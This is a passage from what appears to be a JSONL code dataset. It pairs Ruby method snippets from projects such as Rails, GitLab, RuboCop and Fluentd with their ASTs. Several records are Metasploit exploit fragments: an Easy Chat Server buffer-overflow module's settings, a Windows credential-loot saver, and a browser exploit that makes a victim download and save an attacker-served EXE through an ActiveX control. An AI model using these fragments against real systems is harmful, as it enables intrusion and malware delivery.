end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ole_exe\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"str\",\"children\":[\"EmbeddedStg1.txt\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@unc\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ole\",{\"type\":\"send\",\"children\":[null,\"create_ole\",{\"type\":\"str\",\"children\":[\"\\u0001OLE10Native\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ole\"]}]}]}","id":"8883da0c-9c68-4418-9ec8-99bd64e4ea7a"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/batches_test.rb","start_line":807,"raw_source":"def test_in_batches_relations_with_condition_should_not_overlap_with_each_other\n seen_posts = []\n author_id = Post.first.author_id\n posts_by_author = Post.where(author_id: author_id)\n Post.in_batches(of: 2) do |batch|\n seen_posts += batch.where(author_id: author_id)\n end\n\n assert_equal posts_by_author.pluck(:id).sort, seen_posts.map(&:id).sort\n end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_in_batches_relations_with_condition_should_not_overlap_with_each_other\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"seen_posts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"author_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"first\"]},\"author_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"posts_by_author\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"lvar\",\"children\":[\"author_id\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"seen_posts\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"lvar\",\"children\":[\"author_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts_by_author\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"sort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seen_posts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"sort\"]}]}]}]}","id":"47b22466-4152-4457-a16a-8ad2b7942a16"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_disable_joins_associations_test.rb","start_line":112,"raw_source":"def test_count_on_disable_joins_through_a_through\n ratings_count = Rating.where(comment: @comment).count\n assert_equal ratings_count, assert_queries_count(1) { @author.ratings.count }\n assert_equal ratings_count, assert_queries_count(3) { @author.no_joins_ratings.count }\n end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_count_on_disable_joins_through_a_through\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ratings_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rating\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"ivar\",\"children\":[\"@comment\"]}]}]}]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"ratings_count\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@author\"]},\"ratings\"]},\"count\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"ratings_count\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@author\"]},\"no_joins_ratings\"]},\"count\"]}]}]}]}]}","id":"885931e6-429a-4d79-9c0e-d185ffdf95bd"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/easychatserver_seh.rb","start_line":12,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Easy Chat Server User Registeration Buffer Overflow (SEH)',\n 'Description' => %q{\n This module exploits a buffer overflow during user registration in Easy Chat Server software.\n },\n 'Author' => [\n 'Marco Rivoli', # Metasploit\n 'Aitezaz Mohsin' # POC\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'CVE', '2017-9544' ],\n [ 'EDB', '42155' ],\n ],\n 'Privileged' => true,\n 'Payload' => {\n 'BadChars' => \"\\x00\\x7e\\x2b\\x26\\x3d\\x25\\x3a\\x22\\x0a\\x0d\\x20\\x2f\\x5c\\x2e\",\n },\n 'Platform' => 'win',\n 'Targets' => [\n [ 'Easy Chat Server 2.0 to 3.1', { 'Ret' => 0x100104bc } ],\n ],\n 'DefaultOptions' => {\n 'RPORT' => 80,\n 'EXITFUNC' => 'thread',\n 'ENCODER' => 'x86/alpha_mixed'\n },\n 'DisclosureDate' => '2017-10-09',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Easy Chat Server User Registeration Buffer Overflow (SEH)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a buffer overflow during user registration in Easy Chat Server software.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Marco Rivoli\"]},{\"type\":\"str\",\"children\":[\"Aitezaz Mohsin\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-9544\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"42155\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000~+&=%:\\\"\\n\\r /\\\\.\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Easy Chat Server 2.0 to 3.1\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[268502204]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ENCODER\"]},{\"type\":\"str\",\"children\":[\"x86/alpha_mixed\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-10-09\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"69581b98-d7ea-42ef-a0f5-3253b2455f3a"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/channels/application_cable/connection.rb","start_line":13,"raw_source":"def find_verified_user\n if (verified_user = env['warden'].user)\n verified_user\n else\n reject_unauthorized_connection\n end\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"find_verified_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"verified_user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"warden\"]}]},\"user\"]}]}]},{\"type\":\"lvar\",\"children\":[\"verified_user\"]},{\"type\":\"send\",\"children\":[null,\"reject_unauthorized_connection\"]}]}]}","id":"4de8d26e-4231-4eb1-981f-640ed80f4357"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_initialize.rb","start_line":157,"raw_source":"def same_args?(super_node, args)\n return true if super_node.zsuper_type?\n\n args.map(&:name) == super_node.arguments.map { |a| a.children[0] }\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"same_args?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"super_node\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"super_node\"]},\"zsuper_type?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]},\"==\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"super_node\"]},\"arguments\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"7fa75637-487d-442e-936d-63bfd300b526"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management/kubernetes.rb","start_line":63,"raw_source":"def sync_stopping_workers\n stopping = MiqWorker.find_all_stopping\n\n stopping.reject(&:rails_worker?).each do |worker|\n next if current_pods.key?(worker[:system_uid])\n\n worker.update!(:status => MiqWorker::STATUS_STOPPED)\n end\n\n stopping.reload\n end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_stopping_workers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stopping\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqWorker\"]},\"find_all_stopping\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stopping\"]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"rails_worker?\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_pods\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"system_uid\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqWorker\"]},\"STATUS_STOPPED\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stopping\"]},\"reload\"]}]}]}","id":"966cb5e2-1a30-4a9b-b661-9fccd7b4688c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/cross_namespace_reference.rb","start_line":14,"raw_source":"def parent_from_ref(ref)\n return context[:project] || context[:group] unless ref\n return context[:project] if context[:project]&.full_path == ref\n return context[:group] if context[:group]&.full_path == ref\n\n if reference_cache.cache_loaded?\n # optimization to reuse the parent_per_reference query information\n reference_cache.parent_per_reference[ref || reference_cache.current_parent_path]\n else\n Namespace.find_by_full_path(ref) || Project.find_by_full_path(ref)\n end\n end","complexity_score":39.8,"ast_json":"{\"type\":\"def\",\"children\":[\"parent_from_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"full_path\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]},\"full_path\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reference_cache\"]},\"cache_loaded?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reference_cache\"]},\"parent_per_reference\"]},\"[]\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reference_cache\"]},\"current_parent_path\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"find_by_full_path\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find_by_full_path\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]}]}]}","id":"26b915d2-0689-4165-bedb-3d6e09c9be0b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_unattend.rb","start_line":85,"raw_source":"def save_raw(xmlpath, data)\n return if data.empty?\n\n fname = ::File.basename(xmlpath)\n p = store_loot('windows.unattended.raw', 'text/plain', session, data)\n print_good(\"Raw version of #{fname} saved as: #{p}\")\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"save_raw\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xmlpath\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"xmlpath\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"windows.unattended.raw\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Raw version of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]}]},{\"type\":\"str\",\"children\":[\" saved as: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}]}","id":"2ed5b018-9a91-460f-a6f2-73156ae008c6"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_in_http.rb","start_line":284,"raw_source":"def test_exact_match_for_expect_with_other_header\n d = create_driver(config)\n\n records = [{ \"a\" => 1}, { \"a\" => 2 }]\n tag = \"tag1\"\n res_codes = []\n\n d.run(expect_records: 2, timeout: 5) do\n res = post(\"/#{tag}\", { \"json\" => records.to_json, 'x-envoy-expected-rq-timeout-ms' => 4 })\n res_codes << res.code\n end\n assert_equal [\"200\"], res_codes\n\n assert_equal \"tag1\", d.events[0][0]\n assert_equal 1, d.events[0][2][\"a\"]\n assert_equal \"tag1\", d.events[1][0]\n assert_equal 2, d.events[1][2][\"a\"]\n end","complexity_score":43.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exact_match_for_expect_with_other_header\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"send\",\"children\":[null,\"config\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"str\",\"children\":[\"tag1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res_codes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expect_records\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"x-envoy-expected-rq-timeout-ms\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_codes\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"200\"]}]},{\"type\":\"lvar\",\"children\":[\"res_codes\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"tag1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"events\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"events\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"[]\",{\"type\":\"str\",\"children\":[\"a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"tag1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"events\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"events\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"[]\",{\"type\":\"str\",\"children\":[\"a\"]}]}]}]}]}","id":"7fabe993-1be8-4af2-a293-89e2c5bb48b1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/query_analyzers/prevent_set_operator_mismatch/references.rb","start_line":56,"raw_source":"def table?(ref)\n !ref.is_a?(PgQuery::RangeVar)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"table?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PgQuery\"]},\"RangeVar\"]}]},\"!\"]}]}","id":"5ca4b6bd-741f-4fee-b2e2-5273217780af"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/enjoysapgui_comp_download.rb","start_line":64,"raw_source":"def on_request_uri(cli, request)\n payload_url = \"http://\"\n payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']\n payload_url += \":\" + datastore['SRVPORT'].to_s + get_resource() + \"/payload\"\n\n if (request.uri.match(/payload/))\n return if ((p = regenerate_payload(cli)) == nil)\n\n data = generate_payload_exe({ :code => p.encoded })\n print_status(\"Sending EXE payload\")\n send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })\n return\n end\n\n vname = rand_text_alpha(rand(100) + 1)\n exe = rand_text_alpha(rand(20) + 1)\n\n content = %Q|\n<html>\n<head>\n <script>\n try {\n var #{vname} = new ActiveXObject('Kweditcontrol.KWedit.1');\n #{vname}.Comp_Download(\"#{payload_url}\",\"#{datastore['PATH']}/#{exe}.exe\");\n } catch( e ) { window.location = 'about:blank' ; }\n </script>\n</head>\n</html>\n |\n\n print_status(\"Sending #{self.name}\")\n\n send_response_html(cli, content)\n\n handler(cli)\n end","complexity_score":60.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\",{\"type\":\"str\",\"children\":[\"http://\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\"]},\"+\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\"]},\"+\",{\"type\":\"send\